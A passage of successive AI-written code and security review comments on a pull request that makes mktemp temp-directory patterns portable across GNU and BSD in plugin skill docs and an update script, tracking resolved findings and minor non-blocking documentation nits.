The prior text claimed to be "command-agnostic" but then enumerated all seven commands by name — a closed list is the opposite of command-agnostic and would need editing whenever firecrawl adds a command. The enumeration is removed; only the principle remains: "whenever the user asked for the file itself, whichever command produced it".

update.sh — consistent with policy (update.sh:34)

mktemp -d -t firecrawl-update-XXXXXX → mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX". On BSD, -t with an argument treats it as a prefix rather than a template, producing a differently-named directory than GNU would. The change lands the shell script on the same portability footing as the skill bodies, and brings it into line with scripts/shell-portability-tokens.txt's mandate.

---

🟡 Carry-over nit — prototype and visualization CHANGELOGs omit the echo requirement

First noted in the previous review pass. d7d1be9 updates the portability-rationale paragraph of both CHANGELOGs but does not add the echo note. Compare context7/CHANGELOG.md at 0.4.3, which explicitly states "the example echoes the generated path in the same call", to the prototype 0.3.3 and visualization 0.1.1 entries, which do not. The SKILL.md files are authoritative for agents; this is a consumer-facing documentation gap only. Non-blocking.

Fix this →

---

🟡 Carry-over suggestion (PLAUSIBLE) — {session_id} constraint doesn't name shell metacharacters

Carried from three prior review passes; unchanged at HEAD. agentic-simulation.md:333 forbids "spaces, slashes, or other path-unsafe characters" but does not list $, `, ;, |, &, which Bash evaluates inside double-quoted strings. The rm -rf vector is closed (it uses the mktemp-returned {session_dir}); the residual surface is the archive-copy commands at lines 339 and 653, which embed {session_id} in a path an agent would pass to a shell command. The {domain}-{date}-{random4} format and the note's implicit guidance substantially limit the practical risk. The parenthetical still cites rm -rf as the motivation despite that path now being safely closed. Rated PLAUSIBLE, not CONFIRMED. Non-blocking.

Fix this →

---

Looks good overall

The six-commit arc is coherent and self-correcting. Each commit addressed exactly what prior reviews flagged, and this final commit corrects a false factual premise before it could propagate downstream into docs/conventions/ or other call sites. All prior blocking findings are resolved. The PR is clean.

[claude]

Claude finished @kyle-sexton's task in 2m 58s —— View job

---

Security Review — PR #1708 (HEAD d7d1be9)

• Gather context and understand the request
• Read PR diff at current HEAD
• Read changed files in detail
• Analyze injection surfaces and temp-file patterns
• Analyze path traversal / trust boundary risks
• Assess prior security findings (resolved vs. open)
• Post security review findings

---

All 19 changed files are documentation/instruction markdown, JSON manifests, and one maintainer-facing shell script (firecrawl/skills/update/scripts/update.sh). The security surface is the shell patterns these skill instructions direct an agent to generate and execute, plus the update.sh executable itself.

Five prior security reviews tracked this PR across commits 30e76de, 9a31ce0, 91327a0, 0da829f/9bf825f, and 1aca1f1. Commit d7d1be9 is the new commit since the last review. This pass confirms resolution status at HEAD and reports on the new commit's security surface.

---

Prior findings — confirmed resolved at HEAD

mktemp --tmpdir / wrong platform behavior — RESOLVED.
The prior claim ("absent on BSD") was itself wrong; d7d1be9 corrects it. The actual hazard is worse: --tmpdir exists on both GNU and BSD but means different things — on BSD with a bare positional template and no -t, the flag does nothing and the template resolves against the current directory, silently writing into the consumer's repo. Every call site now carries the temp root in the positional template instead, which both dialects interpret identically for an absolute path. The fix is unchanged; only the justification was corrected.

World-readable session directory / pre-creation race (Codex P1) — RESOLVED.
mktemp -d mandates mode 0700 on POSIX via mkdtemp. d7d1be9 correctly scopes this claim to POSIX only — the Windows branch relies on $env:TEMP being per-user and ACL-scoped, which is a different protection mechanism, not the same guarantee.

rm -rf injection via recomputed {session_id} path — RESOLVED.
The rm -rf cleanup arm uses the mktemp-returned {session_dir}, not a recomputed path. Remove-Item -LiteralPath on the PowerShell arm suppresses metacharacter expansion entirely.

Context7 missing echo (Codex P2), firecrawl cleanup exception scope (Codex P2), missing echo in mktemp -d snippets — all RESOLVED in prior commits.

---

New commit d7d1be9 — no new security findings

The commit touches eight files: prose changes to agentic-simulation.md, firecrawl/SKILL.md, prototype/explore-directions/SKILL.md, visualization/visualize/SKILL.md, two CHANGELOGs, and one actual executable — firecrawl/skills/update/scripts/update.sh.

update.sh — the only executable code change

The diff is:

-TMPDIR_RUN=$(mktemp -d -t firecrawl-update-XXXXXX)
+TMPDIR_RUN=$(mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX")

This is a security-positive change: the old -d -t prefix form produced different names on GNU vs. BSD (BSD's -t treats the argument as a prefix and appends random characters after it; GNU treats it as a template with XXXXXX replaced in-place). The new form uses an absolute path template that both dialects interpret identically. The cleanup trap (rm -rf "$TMPDIR_RUN") is properly quoted and unchanged. The variable is used only as a directory prefix for temp file paths, all of which are properly double-quoted throughout the script. No injection surface introduced.

Prose changes

• agentic-simulation.md: Two changes — 0700 mode claim scoped to POSIX/mkdtemp specifically (accurate; Windows branch relies on a different mechanism), and the concurrent-session-safety bullet corrected to attribute non-overlap to the primitive's random component rather than the retired {id}-based formula. Neither touches the shell patterns in the cleanup or archive instructions.
• firecrawl/SKILL.md: The cleanup exception was de-enumerated from "from scrape, search, …, or agent alike" to "whichever command produced it". The open-ended form is strictly safer — a closed enumeration is the opposite of command-agnostic and would require editing when new commands are added.
• prototype and visualization SKILL.md files: Pure prose rewording of the --tmpdir / -t rationale. No behavior change to the shell patterns already in place.

---

SUGGESTION — {session_id} metacharacter constraint (carried from four prior reviews, non-blocking)

Severity: SUGGESTION
Confidence: PLAUSIBLE

agentic-simulation.md:333:

Use {domain}-{date}-{random4} format … no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup).

Two issues remain in this note:

1. The parenthetical cites rm -rf as the motivation — but that cleanup now uses {session_dir} (the mktemp-returned path, free of user input), not {session_id}. The stated motivation is stale.
2. Shell metacharacters ($, `, ;, |, &, >) are not "path-unsafe" in the filesystem sense — they produce valid filenames — but Bash evaluates $(…) and backtick substitution inside double-quoted strings. The archive commands at line 339 and line 653 embed {session_id} in shell paths an agent constructs for mkdir/cp commands — these are the live surface the parenthetical should be naming.

Confidence stays at PLAUSIBLE (not CONFIRMED): the {domain}-{date}-{random4} format with hex-only {random4} substantially limits the attack surface, and current models generally sanitize before embedding user strings in shell paths. The Remove-Item -LiteralPath on the PowerShell arm is injection-safe regardless. Non-blocking; five consecutive reviews have rated it PLAUSIBLE, which is the right call.

Optional fix — update line 333:

{domain}-{date}-{random4} … no spaces, slashes, shell metacharacters ($, `, ;, |, &), or other path-unsafe characters, since the ID is used in filesystem paths (including the archive copy to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/).

Fix this →

---

All other changed files — no findings

Every changed file has been reviewed. No new injection surfaces, no new trust boundary violations, no credential handling concerns, and no GitHub Actions patterns in scope. The update.sh change is the only executable code modified; it is security-positive. The documentation changes tighten the rationale without altering the shell patterns already in place.

[claude]

Claude finished @kyle-sexton's task in 1m 57s —— View job

---

PR Review — #1708 (HEAD aaeef9d)

• Read the new commit diff (aaeef9d)
• Review changed files in detail
• Assess resolved/unresolved findings from prior reviews
• Post comprehensive review

---

Summary

aaeef9d is a precision fix to a precision fix. Commit d7d1be9 correctly identified that --tmpdir's behavior differs between GNU and BSD, but its justification cited "FreeBSD and macOS document -p tmpdir, --tmpdir[=tmpdir]" — a claim drawn from the options list, not the SYNOPSIS. The SYNOPSIS on both pages shows only the short form [-p tmpdir]. This commit narrows the claim to -p (attributing --tmpdir only to GNU, where it's certain), which is the more defensible statement of the same fact.

The argument and the fix are unchanged. No new behavior, no new shell patterns, no new security surface.

---

✅ New commit — correct and appropriately conservative

The precision narrowing is the right call for two reasons:

1. The prior commit's whole rationale was "cite man pages rather than training-data memory" — repeating a claim whose exact phrasing came from an options list rather than a SYNOPSIS contradicts that same principle, even if the behavior description itself was accurate.

2. "BSD documents -p (short form only)" is verifiable from the SYNOPSIS; "BSD documents --tmpdir" is an inference from an options-list rendering. The narrower claim is strictly safer and still supports the full argument.

The CHANGELOG repair is also correct: three entries lost "and lets the" mid-clause during the 1aca1f1 rewrap, producing grammatically broken sentences ("GNU treats the template as relative to that directory [missing: and lets the] flag beat TMPDIR"). The fix restores the original clause.

---

🟡 Nit — prose line break in explore-directions/SKILL.md is awkward

explore-directions/SKILL.md:117–118:

  `-p` (which GNU also spells `--tmpdir`) exists in both dialects but means different things. GNU
  treats the template as
  relative to that directory and lets the flag beat `TMPDIR`;

"GNU treats the template as" ends the line; "relative to that directory" opens the next. The clause breaks across three lines mid-phrase. The visualization/SKILL.md equivalent (line 103) wraps more naturally. Not a blocking issue — it doesn't affect agent behavior — but it would benefit from a minor column-width adjustment. The same prose appears without this awkward break in the other skills.

---

🟡 Nit (carry-over) — prototype and visualization CHANGELOGs still omit the echo requirement

Unchanged from the prior review pass. Both [0.3.3] (prototype) and [0.1.1] (visualization) describe the mktemp -d approach but don't mention that the created directory path must be echoed in the same Bash call — the detail that makes the feature work across shell-state resets. Compare the context7 0.4.3 entry: "the example echoes the generated path in the same call". Non-blocking; the SKILL.md files are authoritative.

Fix this →

---

🟡 Nit (carry-over, PLAUSIBLE) — {session_id} constraint doesn't name shell metacharacters for the archive arm

Unchanged from prior reviews. agentic-simulation.md:333 forbids "spaces, slashes, or other path-unsafe characters" but doesn't list $, `, ;, |, & — which Bash evaluates inside double-quoted strings and which appear in the archive commands at lines 339 and 653. The rm -rf cleanup is injection-safe (it uses the mktemp-returned {session_dir}); only the archive shell path embeds {session_id}. Confidence PLAUSIBLE given the {domain}-{date}-{random4} format constraint. Non-blocking.

Fix this →

---

Looks good overall

The seven-commit arc across this PR has been thorough and genuinely self-correcting at each step — each round of review produced a targeted, accurate fix rather than churn. The precision narrowing in aaeef9d applies the same factual discipline to itself that d7d1be9 applied to the code: claim only what the source materials actually confirm. All prior blocking findings are resolved. The two carry-over nits are non-blocking documentation quality gaps that the SKILL.md bodies already handle correctly.

[claude]

Claude finished @kyle-sexton's task in 6m 0s —— View job

---

Security Review — PR #1708 (HEAD aaeef9d)

• Gather PR diff and understand what changed at HEAD
• Read changed files in detail
• Analyze injection surfaces and temp-file patterns
• Analyze path traversal / trust boundary risks
• Assess prior security findings (resolved vs. open)
• Post security review findings

---

All 19 changed files are documentation/instruction markdown, JSON manifests, and one maintainer-facing shell script (firecrawl/skills/update/scripts/update.sh). Six prior security review passes have tracked this PR across every commit. This review is anchored at HEAD aaeef9d, which is purely a documentation accuracy correction with no behavior change.

---

Commit aaeef9d — no new security surface

The sole change in aaeef9d is narrowing the --tmpdir claim across six text sites from "BSD documents -p tmpdir, --tmpdir[=tmpdir]" to "BSD documents -p tmpdir" (the short form only, consistent with the verbatim SYNOPSIS on both FreeBSD and macOS pages), with the long --tmpdir form attributed to GNU where it is verifiable. No shell patterns, no temp-file creation calls, no data-flow changes. Three changelog entries also had a dropped clause ("and lets the") restored. No security surface in this commit.

---

Prior findings — confirmed resolved at HEAD

All findings from the six prior security review passes are resolved at HEAD:

mktemp --tmpdir → silent repo write on BSD — RESOLVED in 91327a0. Every call site now uses the positional absolute template form, which both dialects interpret identically. Confirmed in the current files:

• firecrawl/SKILL.md:58: mktemp "${TMPDIR:-/tmp}/fc-scrape-XXXXXX"
• visualization/SKILL.md:98: mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"
• prototype/SKILL.md:113: mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"
• agentic-simulation.md:271: mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX"
• update.sh:34: mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX"

World-readable session directory / pre-creation race (Codex P1) — RESOLVED in 91327a0. POSIX mkdtemp mandates 0700 on creation; random component defeats pre-creation. The 0700 claim is now correctly scoped to POSIX only; the Windows branch relies on $env:TEMP being per-user and ACL-scoped, a different but real protection.

rm -rf injection via recomputed {session_id} — RESOLVED in 91327a0. The rm -rf arm now uses {session_dir} (the mktemp-returned path, OS-controlled and metacharacter-free). Remove-Item -LiteralPath on PowerShell suppresses expansion entirely.

Context7 missing path echo, firecrawl cleanup exception scope, missing echo in mktemp -d snippets — all RESOLVED in 91327a0 and 9bf825f.

False "absent on BSD" claim at six sites — RESOLVED in d7d1be9, narrowed to the verified form in aaeef9d.

---

Persistent SUGGESTION — {session_id} constraint doesn't name shell metacharacters for the archive arm

Severity: SUGGESTION | Confidence: PLAUSIBLE

Carried from five prior review passes unchanged. At agentic-simulation.md:333:

Use {domain}-{date}-{random4} format … no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup).

Two issues remain:

1. The parenthetical still cites rm -rf as the motivation, but that cleanup now uses {session_dir} (the mktemp-returned path, not a path built from {session_id}). The stated motivation is stale.
2. Shell metacharacters ($, `, ;, |, &, >) are not "path-unsafe" in the filesystem sense — they produce valid filenames — but Bash evaluates $(…) and backtick substitution inside double-quoted strings. The archive commands at line 339 and line 653 embed {session_id} in paths an agent would construct for shell commands — these are the live surface the parenthetical should be naming.

Confidence is PLAUSIBLE (not CONFIRMED) because the {domain}-{date}-{random4} format with hex-only {random4} substantially limits the attack surface, and models generally sanitize before embedding user-provided strings in shell paths. The PowerShell archive arm uses -LiteralPath equivalents and is injection-safe.

This finding has been rated PLAUSIBLE across every prior pass. That rating is correct.

Fix this →

---

All other changed files — no findings

• firecrawl/SKILL.md: Three-phase OUT=$(mktemp …); echo "$OUT" → Read → rm -f "<literal-path>" pattern is correctly structured. Every variable is double-quoted ("$OUT", "$LOGIN", "$DASH"). mktemp output is OS-controlled. The credential-handling example in the interact flow pre-dates this PR and is out of scope.
• firecrawl/context/commands.md, evals.json, firecrawl/update/SKILL.md: Consistent updates; no shell patterns or trust surfaces.
• update.sh: mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX" with a properly quoted rm -rf "$TMPDIR_RUN" cleanup trap. Remote content is fetched with --fail --max-time guards, saved to a temp file, and only its hash is retained — content is never written to SKILL.md or executed. The UPSTREAM_URL is a hardcoded literal; not controllable. The rewrite_upstream_md heredoc uses <<EOF rather than <<'EOF', so $sha, $ver, $prev, and $today are expanded — but all four are filtered to safe character sets before use (sha256 output is hex; current_cli_version extracts [0-9.]+ only; date output is YYYY-MM-DD). Supply-chain risk from ver arriving via npm JSON is deferred to zizmor's lane.
• prototype/explore-directions/SKILL.md, visualization/visualize/SKILL.md: mktemp -d + fixed-name file inside + echo "$d". No user input in the mktemp call. CSP meta-tag (default-src 'none'; script-src 'unsafe-inline') is appropriate for a self-contained file:// page. No injection surface.
• context7/cli.md: mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX" with echo "$OUT" and > "$OUT". File is the user's deliverable; intentional no-cleanup. No injection surface.
• agentic-simulation.md (lines 271, 338, 653): rm -rf uses mktemp-returned {session_dir}. Remove-Item -LiteralPath suppresses expansion on PowerShell. [System.IO.Path]::GetRandomFileName() is OS-controlled. See SUGGESTION above for archive-path {session_id} constraint gap.
• All plugin.json and CHANGELOG.md files: Version bumps and prose only.

[claude]

Claude finished @kyle-sexton's task in 2m 44s —— View job

---

PR Review — #1708 (HEAD 7c707cb)

• Gather context and understand the request
• Read new commit diff (7c707cb)
• Review full PR diff against origin/main
• Assess resolved/unresolved findings from prior reviews
• Post comprehensive review

---

Summary

7c707cb is a one-line cosmetic wrap — no content change. Its predecessor aaeef9d is a responsible precision fix: the d7d1be9 correction cited "BSD documents --tmpdir" but the FreeBSD and macOS man page SYNOPSIS actually shows only the short -p, not the long form. aaeef9d narrows the claim to match what the man pages actually state. The argument and the fix are unchanged; only the citation is tightened. Three changelog entries that lost a clause during rewrapping ("and lets the" dropped mid-clause) are also repaired.

All blocking findings raised across seven prior review passes are resolved. Two carry-over nits remain; both were rated PLAUSIBLE or nit-level by every reviewer who touched them.

---

✅ Both new commits — correct and non-breaking

7c707cb: Rewraps one overlong line in visualization/SKILL.md to the file's 78-column width. Pure cosmetic, confirmed no content change in the diff.

aaeef9d: The d7d1be9 correction stated that BSD documents -p tmpdir, --tmpdir[=tmpdir]. The FreeBSD and macOS man page SYNOPSIS shows only [-p tmpdir]; the long form appeared in the options prose, not in quoted synopsis text. aaeef9d narrows every affected site to the short -p, maintaining the original point: the flag exists in both dialects, means different things, and the positional absolute TEMPLATE is reinterpreted by neither. Six files updated consistently.

---

✅ All prior blocking findings confirmed resolved at HEAD

Finding	Fixed in
mktemp --tmpdir breaks on BSD/macOS (three reviewers, two commits)	91327a0: mktemp -d "${TMPDIR:-/tmp}/…-XXXXXX" — no flag, valid on both dialects
Event-storming session dir: predictable path, world-readable 0755 (Codex P1)	91327a0: mkdtemp mandates 0700; random component defeats pre-creation
Context7 pipe example not echoing $OUT (Codex P2)	91327a0: echo "$OUT" added in same call
Firecrawl cleanup exception too narrow (Codex P2)	91327a0: Now command-agnostic — "whichever command produced it"
Firecrawl shell: bash misattribution	9a31ce0
Missing echo in mktemp -d snippets for prototype/visualization/event-storming	9bf825f: echo "$d" added; rationale stated inline
[IO.Path] PS accelerator shorthand	9bf825f: Expanded to [System.IO.Path]
False "--tmpdir absent on BSD" premise at six sites	d7d1be9 → narrowed further in aaeef9d
Concurrent-session-safety bullet asserting retired {id} formula	d7d1be9: Updated to attribute non-overlap to the primitive's random component
0700 claim stated too broadly	d7d1be9: Scoped to POSIX mkdtemp specifically
Firecrawl exception enumerated a closed command list	d7d1be9: De-enumerated to "whichever command produced it"
Three changelog entries with dropped clause	aaeef9d

Spot-checked at HEAD:

• visualization/SKILL.md:97: d=$(mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"); echo "$d" ✅
• prototype/SKILL.md:112: d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"); echo "$d" ✅
• agentic-simulation.md:271: mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX" with echo-and-carry ✅
• firecrawl/SKILL.md:87: Command-agnostic cleanup exception ✅
• context7/cli.md:129: echo "$OUT" in same call ✅
• update.sh:34: mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX" ✅

---

🟡 Carry-over nit — prototype and visualization CHANGELOGs omit the echo requirement

First raised two review passes ago and unchanged at HEAD. The 9bf825f commit added echo "$d" — the instruction that makes the randomly-named directory recoverable in the follow-up Bash call — but neither the [0.3.3] prototype entry nor the [0.1.1] visualization entry mention it. Compare the [0.4.3] context7 entry, which explicitly states "the example echoes the generated path in the same call." The SKILL.md files are authoritative for agents — this is a consumer-facing documentation gap only. Non-blocking.

Fix this →

---

🟡 Carry-over suggestion (PLAUSIBLE) — {session_id} constraint cites stale motivation and omits shell metacharacters

Carried through four prior review passes. agentic-simulation.md:333:

"no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup)"

Two issues: the rm -rf parenthetical is stale (cleanup now operates on {session_dir}, the mktemp-returned path, not a path built from {session_id}), and $, `, ;, |, & — which Bash evaluates inside double-quoted strings — are not listed. The remaining live surface is the archive-copy at line 339 and line 653, where {session_id} appears in a path an agent would pass to a shell command. Confidence stays PLAUSIBLE: the {domain}-{date}-{random4} format substantially limits the attack surface, and the PowerShell arm is injection-safe via -LiteralPath. Non-blocking.

Fix this →

---

Looks good overall

The nine-commit arc is coherent and self-correcting — each commit addressed exactly what prior reviewers flagged, and the final two commits (aaeef9d, 7c707cb) improve citation precision and column formatting without reopening anything. All five plugins carry correct patch bumps and matching CHANGELOG entries. The mktemp -d + fixed-name-file-inside approach for the two HTML-producing skills sidesteps #1709's open suffix-portability question cleanly. The PR is ready for merge subject to the two non-blocking nits above, which can be addressed here or deferred to a follow-up at the author's discretion.

[claude]

Claude finished @kyle-sexton's task in 5m 3s —— View job

---

PR Review — #1708 (HEAD e45c283)

• Gather context and read latest commit diff
• Review changed files at HEAD
• Assess resolved/unresolved findings from prior reviews
• Post comprehensive review

---

Summary

e45c283 is a precise and necessary factual upgrade. The eight prior review passes converged on the mktemp -d + fixed-filename-inside approach for the two HTML-producing skills, but the original justification hedged — "without depending on mktemp accepting a suffix after the XXXXXX." That hedge was accurate at the time, but it understated the risk. The latest commit replaces the hedge with the settled fact: BSD mktemp substitutes only trailing Xs, so visualize-XXXXXX.html cannot be created at all on macOS — a hard failure, not just an unverified behavior. This is backed directly by rule 1 of docs/conventions/topic-docs/README.md (which is present on origin/main), so the claim has its normative source.

No behavioral change. No invocation changes. Four files touched: two SKILL.md prose blocks and two CHANGELOG entries.

---

✅ All prior blocking findings remain resolved at HEAD

Spot-checked at e45c283:

• prototype/SKILL.md:113: d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"); echo "$d" ✅
• visualization/SKILL.md:98: d=$(mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"); echo "$d" ✅
• All other previously-resolved sites (firecrawl, context7, event-storming, update.sh) are unmodified by this commit and remain correct.

---

✅ New commit — correct and well-sourced

The claim in e45c283 is supported by docs/conventions/topic-docs/README.md rule 1 (line 88–92), which reads:

The XXXXXX placeholders must be trailing: BSD mktemp (macOS) substitutes only trailing Xs, so a template that appends an extension after them — <prefix>-XXXXXX.html — is not portable. A producer that wants a meaningful filename takes the -d form and writes a fixed name inside the run directory.

This normative rule is present on origin/main. The upgrade from "we avoid depending on this" to "this cannot be created on macOS" is factually correct, sourced from the normative rule, and closes the remaining ambiguity prior reviewers noted. CHANGELOG entries for both affected plugins update their portability explanation to match.

---

🟡 Carry-over nit — prototype and visualization CHANGELOGs still omit the echo requirement

Flagged across two prior review passes; e45c283 improves the CHANGELOG portability wording but does not add the echo note. The [0.3.3] prototype entry and [0.1.1] visualization entry describe the mktemp -d approach and its portability rationale but do not say the created path must be echoed in the same Bash call. The [0.4.3] context7 entry explicitly states "the example echoes the generated path in the same call." SKILL.md files are authoritative; this is a consumer-facing gap only. Non-blocking.

Fix this →

---

🟡 Carry-over nit — awkward line break in explore-directions/SKILL.md

First noted in the prior round; unfixed at HEAD. explore-directions/SKILL.md:117–119:

  `-p` (which GNU also spells `--tmpdir`) exists in both dialects but means different things. GNU
  treats the template as
  relative to that directory and lets the flag beat `TMPDIR`;

"GNU treats the template as" ends the line; "relative to that directory" opens the next — a mid-phrase break across three lines. The equivalent passage in visualization/SKILL.md wraps more naturally. No behavioral impact; a 100-column rewrap of this block would resolve it. Non-blocking.

---

🟡 Carry-over suggestion (PLAUSIBLE) — {session_id} constraint doesn't name shell metacharacters

Flagged across four prior review passes; unchanged at HEAD. agentic-simulation.md:333:

"no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup)"

Two issues: the rm -rf parenthetical cites stale motivation (that cleanup now uses the mktemp-returned {session_dir}, not a path composed from {session_id}), and $, `, ;, |, & — which Bash evaluates inside double-quoted strings — are not listed. The live surface is the archive-copy commands at lines 339 and 653. Confidence stays PLAUSIBLE: the {domain}-{date}-{random4} format and implicit guidance substantially limit practical risk. Non-blocking.

---

Looks good overall

The ten-commit arc is coherent and self-correcting. The latest commit closes the last factual gap — upgrading a hedge ("we avoid depending on") to a normative statement ("BSD cannot create this at all") — in a single targeted change with no behavioral risk. All five plugins carry correct patch bumps and matching CHANGELOG entries. The PR is ready for merge subject to the carry-over nits above, which can be addressed here or in a follow-up at the author's discretion.

[claude]

Claude finished @kyle-sexton's task in 2m 50s —— View job

---

Security Review — PR #1708 (HEAD e45c283)

• Gather context and read PR diff
• Read changed files at HEAD
• Analyze injection surfaces and temp-file patterns
• Compare against prior review findings
• Post security review findings

---

All 19 changed files are documentation/instruction markdown, JSON manifests, and one maintainer-facing shell script (firecrawl/skills/update/scripts/update.sh). Seven prior security review passes have tracked this PR across every commit. This review is anchored at HEAD e45c283.

---

New commit e45c283 — no new security surface

The commit touches four files: prose changes to prototype/CHANGELOG.md, prototype/skills/explore-directions/SKILL.md, visualization/CHANGELOG.md, and visualization/skills/visualize/SKILL.md.

The change in both skill files is a documentation accuracy update — replacing the hedge "does not depend on mktemp accepting a suffix after the XXXXXX" with the definitive explanation that BSD mktemp substitutes only trailing Xs, so explore-directions-XXXXXX.html cannot be created at all on macOS. The shell patterns themselves are unchanged: both still use mktemp -d "${TMPDIR:-/tmp}/…-XXXXXX" with a fixed-name file written inside the directory. No behavior change, no new injection surface.

---

Prior findings — confirmed resolved at HEAD

mktemp --tmpdir → silent repo write on BSD/macOS — RESOLVED in 91327a0.
Every call site uses the positional absolute template with no flag. Confirmed at HEAD:

• firecrawl/SKILL.md:58: mktemp "${TMPDIR:-/tmp}/fc-scrape-XXXXXX"
• prototype/SKILL.md:113: mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"
• visualization/SKILL.md:98: mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"
• agentic-simulation.md:271: mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX"
• update.sh:34: mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX"

World-readable session directory / pre-creation race (Codex P1) — RESOLVED in 91327a0. POSIX mkdtemp mandates 0700. Claim correctly scoped to POSIX only; Windows branch relies on $env:TEMP being per-user and ACL-scoped.

rm -rf injection via recomputed {session_id} — RESOLVED in 91327a0. Line 338 uses {session_dir} (mktemp-returned path, OS-controlled). Remove-Item -LiteralPath on PowerShell suppresses expansion entirely.

Context7 missing echo, firecrawl cleanup exception scope, missing echo in mktemp -d snippets, [IO.Path] shorthand, false "absent on BSD" premise, concurrent-session-safety bullet asserting retired {id} formula — all RESOLVED in prior commits.

---

SUGGESTION — {session_id} constraint doesn't name shell metacharacters for the archive arm

Severity: SUGGESTION | Confidence: PLAUSIBLE

Carried from six prior review passes; unchanged at HEAD.

agentic-simulation.md:333:

Use {domain}-{date}-{random4} format … no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup).

Two issues remain in this note:

1. The parenthetical cites rm -rf as the motivation — but that cleanup now uses {session_dir} (the mktemp-returned path, OS-controlled and metacharacter-free), not {session_id}. The stated motivation is stale.
2. Shell metacharacters ($, `, ;, |, &, >) are not "path-unsafe" in the filesystem sense — they produce valid filenames — but Bash evaluates $(…) and backtick substitution inside double-quoted strings. The archive commands at line 339 and line 653 embed {session_id} in paths an agent would construct for shell mkdir/cp commands — those are the live surface the parenthetical should be naming.

Confidence stays PLAUSIBLE across seven passes for consistent reasons: the {domain}-{date}-{random4} format with hex-only {random4} and numeric {date} substantially limits the attack surface, the PowerShell archive arm uses -LiteralPath and is injection-safe regardless, and current models generally sanitize before embedding user-provided strings in shell paths. Non-blocking.

Optional fix — update line 333:

{domain}-{date}-{random4} … no spaces, slashes, shell metacharacters ($, `, ;, |, &), or other path-unsafe characters, since the ID is used in filesystem paths (including the archive copy to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/).

Fix this →

---

All other changed files — no findings

• firecrawl/SKILL.md: Three-phase OUT=$(mktemp …); echo "$OUT" → Read → rm -f "<literal-path>" pattern is correctly structured. All paths OS-controlled; every variable double-quoted. The rm -rf arm and credential-handling examples are unchanged and carry no new surface.
• firecrawl/update/scripts/update.sh: mktemp -d "${TMPDIR:-/tmp}/firecrawl-update-XXXXXX" with properly quoted rm -rf "$TMPDIR_RUN" cleanup trap. Remote content fetched with --fail --max-time guards. The heredoc uses <<EOF (not <<'EOF'), so $sha, $ver, $prev, and $today are expanded — all four are filtered to safe character sets before use (sha256 hex output, [0-9.]+ version, YYYY-MM-DD date). No new surface in this PR.
• prototype/explore-directions/SKILL.md: mktemp -d + fixed-name file inside + echo "$d". The new commit updates only the prose justification; the shell pattern is unchanged. CSP meta-tag (default-src 'none'; script-src 'unsafe-inline') appropriate for a self-contained file:// page. No injection surface.
• visualization/visualize/SKILL.md: Same as prototype. New commit updates justification prose only; shell pattern unchanged. No injection surface.
• context7/cli.md: mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX" with echo "$OUT" and > "$OUT". Double-quoted throughout. File is the user's deliverable; intentional no-cleanup. No injection surface.
• All plugin.json and CHANGELOG.md files: Version bumps and prose only. No security surface.

---

No new findings at HEAD e45c283

The new commit introduces no new security surface. The PR's one persistent open finding — the {session_id} metacharacter constraint gap for the archive-copy path — remains SUGGESTION / PLAUSIBLE, unchanged from the prior six review passes.